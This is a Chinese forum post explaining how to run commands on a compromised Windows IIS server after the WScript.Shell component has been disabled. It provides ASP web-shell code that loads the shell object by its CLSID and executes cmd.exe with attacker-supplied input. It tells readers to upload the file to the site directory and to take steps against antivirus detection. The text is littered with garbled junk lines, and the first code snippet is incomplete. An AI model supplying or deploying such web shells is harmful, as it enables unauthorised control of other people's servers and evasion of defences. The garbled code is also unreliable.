没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  & j) \+ V3 `# y4 S
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  8 x" {" Q3 h6 z# w! Z
• 把下面代码复制：
  - n3 g# g* e8 k2 [4 N1 A5 {4 K' C
• <%
  
• end if
  
• response.write(”")
  
• On Error Resume
  
• Next
  % g2 i, G# ^, q8 l9 Q. Y! W
• response.write oScriptlhn.exec(”cmd.exe /c” &
  
• request(”c”)).stdout.readall
  " f3 f) M: c' T0 M2 i( i2 i
• response.write(”")
  
• response.write(”")
  9 h+ p" \6 m' h1 A6 k0 d
• response.write(”
  4 Q; \. Q' @, v- }5 D6 h
• “)
  % o  m1 s: A7 q' ?. F
• response.write(”")
  ( x) [' L* @* }2 f8 n* u# D8 B  p
• %>
  
• 保存为一个asp文件，然后传到网站目录上去
  9 H6 _( g) J* o! y: ^
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  
• 我用此成功运行过cacls命令。
  
• 第二那就是运行时出错，可能限制某些代码执行
  3 I/ `: U) w- \  V) z9 l) _
• 无wscript.shell组件提权又一个方法
  ' _* P9 K" c6 K1 h8 M, Q
• <object runat=server id=oScriptlhn scope=page
  
• 
  
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  9 V& C$ B: h9 l" z, E4 r, S/ ]5 `1 z
• <%if err then%>
  
• <object runat=server id=oScriptlhn scope=page
  
• 
  
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  " e; u' B) c( L1 I% n7 P( Q
• <%
  9 \  t' C/ }1 V& K5 w
• end if
  
• response.write(”<textarea readonly cols=80
    t3 y: O- ]. f. M$ Z9 N
• 
  2 s- q& [* _0 Q' U4 s6 E" ~# d
• rows=20>”)
  
• On Error Resume Next
  " `$ U9 x; N# x6 u1 `* F
• response.write
  5 X3 C6 y% v$ {" E* p2 _
• 
  
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  
• response.write(”</textarea>”)
  1 j6 V& t$ [& _8 i% C2 V
• response.write(”<form
  9 v. I8 Y+ x7 m. g/ j/ S
• 
  
• method=’post’>”)
  
• response.write(”<input type=text name=’c'
  
• 
  
• size=60><br>”)
  
• response.write(”<input type=submit
  : A2 r% s( |' X& F+ {4 H" b
• 
  0 F; e* J1 I) d& j8 C6 j" |6 x
• value=’执行’></form>”)
  
• %>
  
• 保存为ASP，此代码可能被杀，请注意免杀。
  
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  1 S* U; f# C- k2 K$ i# X

复制代码